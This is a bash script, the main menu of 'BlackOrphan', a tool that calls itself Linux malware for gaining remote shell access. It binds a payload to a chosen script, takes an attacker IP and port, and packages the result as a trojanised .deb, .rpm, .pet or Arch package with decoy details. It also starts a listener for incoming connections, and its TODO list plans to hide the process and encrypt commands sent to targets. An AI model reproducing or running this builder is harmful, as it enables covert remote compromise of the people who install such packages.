#!/bin/bash
#   Copyright 2015-2017
#
#  Author [73mp74710n]
#  Email [<73mp74710n@sagint.com>]
#
#
#
#[LICENSE]
#   This program is free software; you can redistribute it and/or modify
#   it under the terms of the GNU General Public License as published by
#   the Free Software Foundation; either version 2 of the License, or
#   (at your option) any later version.
#
#   This program is distributed in the hope that it will be useful,
#   but WITHOUT ANY WARRANTY; without even the implied warranty of
#   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
#   GNU General Public License for more details.

#set -x #( Do not Uncomment this line if you have no idea what it does )
#Script Name:- BlackOrphan
#Description:- Black Orphan is Majorly a tool for gaining remote shell access into a linux Operting system, BlackOprphan acts as a malware and it's still undergoing development
#Usage:- BlackOrphan
#############################################################################
##
##				BLACKORPHAN V1.0
##
#############################################################################
################################     VARIABLES	 ############################
source "${PWD}/misc/globals.sh"
source "${PWD}/misc/utils.sh"
source "${PWD}/misc/malware.sh"


source "${PWD}/misc/fromPackage.sh"
source "${PWD}/misc/debpackage.sh"
source "${PWD}/misc/rpmpackage.sh"
source "${PWD}/misc/petpackage.sh"
source "${PWD}/misc/pkgpackage.sh"


#[ ! -o xpg_echo ] && shopt -s xpg_echo

[[ -d './malware/' ]] && rm -rf ./malware/

###################################FUNCTIONS###################################
#####CHECK IF USER IS ROOT
#####IF USER IS ROOT RUN THIS SCRIPT, IF USER IS NOT EXIT THE SCRIPT
is_root() {
    [[ $UID != 0 ]] && {
	printf "You are just an ordinary user (but mom loves you just the same).\n"
	exit 1
    }
}
header() {
    reset 
    cat <<'EOF'

 ____  _            _     ___             _
| __ )| | __ _  ___| | __/ _ \ _ __ _ __ | |__   __ _ _ __
|  _ \| |/ _` |/ __| |/ / | | | '__| '_ \| '_ \ / _` | '_ \
| |_) | | (_| | (__|   <| |_| | |  | |_) | | | | (_| | | | |
|____/|_|\__,_|\___|_|\_\\___/|_|  | .__/|_| |_|\__,_|_| |_|
                                   |_|
                                      SHELL IS JUST THE BEGINNING

EOF
}
##SCRIPT MAIN MENU
main_menu(){
    header
    printf "${open}${bold}${green}%s${close}\n" "BLACK ORPHAN LINUX HACK TOOL"
    printf "${open}${bold}${yellow}%s${close}${new}" "$bar"
    printf "${open}${bold}${green}%s\n" "1. Create a server"
    printf "%s\n" "2. Start a Listerner"
    printf "%s\n" "3. About"
    printf "%s\n${close}" "q. Exit"
    printf "${open}${bold}${yellow}%s" "$bar"
    printf "\n%s\n\n" "Select from the menu"
    printf "%s${close}\n" "To quit hit the q button"
}
#########ABOUT BLACK ORPHAN TOOL
about(){
    header
    printf "%s\n" "* shc"
    printf "%s\n" "* node"
    
    printf "%s\n\n" "####Supproted Platform"
    printf "%s\n\n" "* Linux"
    read -p "Press any key to continue: " junk
}

set_usage(){
    printf "Usage:- set lhost_lport [ip address of your computer] [any unfiltered port]\n"
}





###CREATE SERVER BANNER FUNCTION
createserver_banner(){
    header;
    printf "${open}${bold}${green}%s${close}\n" "Select the target Operating System"
    printf "${open}${bold}${yellow}===================================${close}\n"
    printf "${open}${bold}${green}1. Debian base linux system\n"
    printf "2. Rpm base Linux system\n"
    printf "3. Puppy Linux (.pet)\n"
    printf "4. Arch Linux \n"
    printf "r. Run\n"
    printf "b. Go back to previous menu\n"
    printf "q. Exit${close}\n"
    printf "${open}${bold}${yellow}%s${close}\n\n" "$bar"
}

###THE SELECT FUNCTION
_select(){
    main_menu
    while printf "${open}${bold}${green}${prompt}${close} " ; read $opt selct
    do
	case $selct in
	    1)	createserver && break ;;
	    2)	while printf "${open}${bold}${green}\nEnter port to connect to: ${close}" ; read l_port junk
		do
		    if [[ -z "$l_port" ]];then
			printf "${open}${bold}${red}[!]Connection Port is Empty${close}\n"
			continue
		    fi
		    
		    isInteger "$l_port"
		    status=$?
		    (( status != 0 )) && {
			printf "${open}${bold}${red}%s${close} \n" "$l_port is not a valid port number"
			continue
		    }
		    # if port is null continue the loop, if a port number was not specified ,
		    #if an invalid port number was specified rerun the loop
		    break
		done

		reset && ./listener.js "$l_port" && break

		;;


	    3)
		about && main_menu ;;
	    
	    q)  exit 2;;

	    *)
		reset
		main_menu

		printf "\n${open}${light}${yellow}[!]Invalid Selection <%s>${close}\n" "$selct"
		;;
	esac

    done

}

chk_file() {
    # Crypt the script
    local fileExt
    
    source ${CRYPT}/misc/crypt.sh
    source ${CRYPT}/misc/scriptconfig.sh
    
    if [[ "${dirfile}" != "tempScript.sh" ]];then
	while :;do
	    
	    printf "${open}${bold}${green}Specify script to bind with: ${close}" ; read -e bindscript
	    printf "\n"
	    if [[ -z "$bindscript" ]];then
		printf "${open}${bold}${red}%s${close}\n" "[!]Specify absolute Path to Script to bind with"
		continue
	    fi
	    
	    if [[ ! -e "${bindscript}" ]];then
		printf "${open}${bold}${red}${bindscript} %s${close}\n" "Does not exist"
		continue
	    elif [[ ! -f "${bindscript}" ]];then
		printf "${open}${bold}${red}%s${close}\n" "${bindscript} Is not a file"
		continue
	    fi
	    
	    envl='#!'"$(which env)" # this will produce #!/usr/bin/env
	    
	    declare -a bangArray=("$(which bash)" "$(which dash)" "$(which ksh)" "$(which sh)" "$(which rbash)" "$(which perl)" "$(which python)" )
	    
	    
	    
	    for i in "${bangArray[@]}"
	    do
		#echo "#!${i}" > /dev/null 2>&1
		# check if the first line of the script is a hash bank
		head -1 "${bindscript}" | egrep -q "#\!$i|$envl\s+${i##*/}" #>/dev/null 2>&1
		if [[ $? == 0 ]];then
		    dirfile=${bindscript}
		    break 2
		fi
		
	    done
	    
	
	    printf "${open}${bold}${red}%s${close}\n" "Hash bang is required in ${bindscript##*/}"
	    
	    cd ../../../../ && rm -rf "$dirfile"

	    exit 2
	    
	done
    fi



    bindscript=${dirfile}

    
    fileExt=${bindscript##*.} ;# get the file extension

    [[ "${dirfile}" != "tempScript.sh" ]] && cp "${bindscript}" "$(pwd)" 
    

    fileName=${bindscript%%.*}
    fileName=${fileName##*/}


    # Copy the bindscript from it's location to  malware/usr/local/bin/test1
    
    cp "${bindscript}" "${fileName}" 

    scrConfig "${fileExt}"

}

replay(){

    printf "${open}${light}${yellow}[!]Please Set up the Listener${close}\n"
    sleep 2
    createserver

}
set_opt(){
    if [[ "$l_set" != "set" ]];then
	printf "${open}${bold}${red}Invalid Command${close}\n"
	set_usage
	return 1
    fi

    if [[ -z "$l_host" ]];then

	printf "${open}${bold}${red}No arguemnt was passed to set${close}\n"
	set_usage
	return 1

    elif [[ "$l_host" != "lhost_lport" ]];then

	printf "${open}${bold}${red}Invalid set argument${close}\n"
	set_usage
	return 1

    fi
}
general(){
    while :
    do
	printf "${open}${light}${green}%s>${close} " "${cservprompt}" ; read l_set l_host l_ip l_port junk
	set_opt
	(( $? != 0 )) && continue

	
	if [[ -z "$l_ip" ]] || [[ -z "$l_port" ]];then
	    printf "${open}${bold}${red}Incomplete options${close}\n" && set_usage && continue   
	fi

	isInteger "$l_port"
	status=$?
	(( status != 0 )) && {
	    printf "%s\n" "$l_port is not a valid port number"
	    continue ;
	}
	
	printf "${open}${light}${yellow}[!]LHOST: %s\n" "$l_ip"
	printf "[!]LPORT: %s\n" "$l_port"
	printf "[!]Everything is now set, use the r (run) command ^_^\n\n${close}"

	break
    done
}
packagedetails(){
    #local email description vnumber
    printf "\n${open}${light}${green}The Below details are needed for packaging the %s file${close}\n" \
	   "${pPackage}"

    {
	
	read -ep "Email Address: [dev@devloper.com]: " email
	
	if [[ -z "$email" ]];then
	    email="dev@developer.com"
	fi
	
	
	read -ep "Enter Description: [incredible application]: " description
	if [[ -z "$description" ]];then
	    description="incredible application"
	    
	fi
	

	read -ep "Enter Version Number: [0.1]: " vnumber
	if [[ -z "$vnumber" ]];then
	    vnumber="0.1"
	fi
    }
    
    printf "\n[!]Email: %s\n" "$email"
    printf "[!]Description: %s\n" "$description"
    printf "[!]VersionNumber: %s${close}\n\n" "$vnumber"

    printf "${open}${bold}${yellow}[!]Building the Package...${close}\n"
    sleep 5

}
####CREATE SERVER FUNCTION
createserver(){
    createserver_banner
    while printf "${open}${light}${green}%s${close} " "${createserver}" ; read $opt -e cserversel
    do
	printf "\n"
	case $cserversel in
	    1)
		which dpkg &>/dev/null
		status=$?
		(( status != 0 )) && {
		    printf "[!]${open}${bold}${yellow}dpkg not found${close}\n"
		    printf "[!]${open}${bold}${yellow}Cannot create a malware for debian linux${close}\n"
		    continue;
		}
		hungerGames="$cserversel"
		pPackage="debian"
		cservprompt="${PS2}:create_server:debian_base"
		general

		;;
	    2)
		
		which rpm &>/dev/null
		status=$?
		(( status != 0 )) && {
		    printf "[!]${open}${bold}${yellow}rpm not found${close}\n"
		    printf "[!]${open}${bold}${yellow}Cannot create a malware for debian linux${close}\n"
		    continue;
		}
	       	
		hungerGames="$cserversel"
		pPackage="rpm"
		cservprompt="${PS2}:create_server:rpm_base"
		general
		;;
	    3) 
		hungerGames="$cserversel"
		pPackage="pet(puppy LInux)"
		cservprompt="${PS2}:create_server:puppy_linux"
		general
		;;
	    4)  
		hungerGames="$cserversel"
		pPackage="ArchLinux"
		cservprompt="${PS2}:create_server:arch_linux"
		general
		;;

	    r) createserver_banner
	       [[ -n "$l_ip" ]] && [[ -n "$l_port" ]] && {
		   printf "${open}${bold}${yellow}[!]Setting up the malware${close}"
	       } || replay

	       case $hungerGames in
		   1)
		       createMalDeb
		       ;;
		   2)
		       createMalRpm
		       ;;
		   3)
		       createMalPet
		       ;;
		   4)
		       createMalPkg
		       ;;
	       esac

	       ;;
	    b)
		reset && _select && break ;;
	    q) exit ;;
	    *) 	createserver_banner
		
		printf "\n${open}${light}${yellow}[!]Invalid Selection <%s>${close}\n" "$cserversel" ;;
	esac
    done
}
is_root
header
_select


#TODO
#1. Create Service for BlackOrpan
#2. Handle Multiple connecitons
#-----------------------------------------
#3. Hide BlackOrphan from running process
#----------------------------------------
#4. Encrypt the commands sent to targets computer
#5. Decrypt the commands on targets commands, encrypt the results and send it back to attacker
#6. GUI for BLACKORPHAN witk tcl/tk 
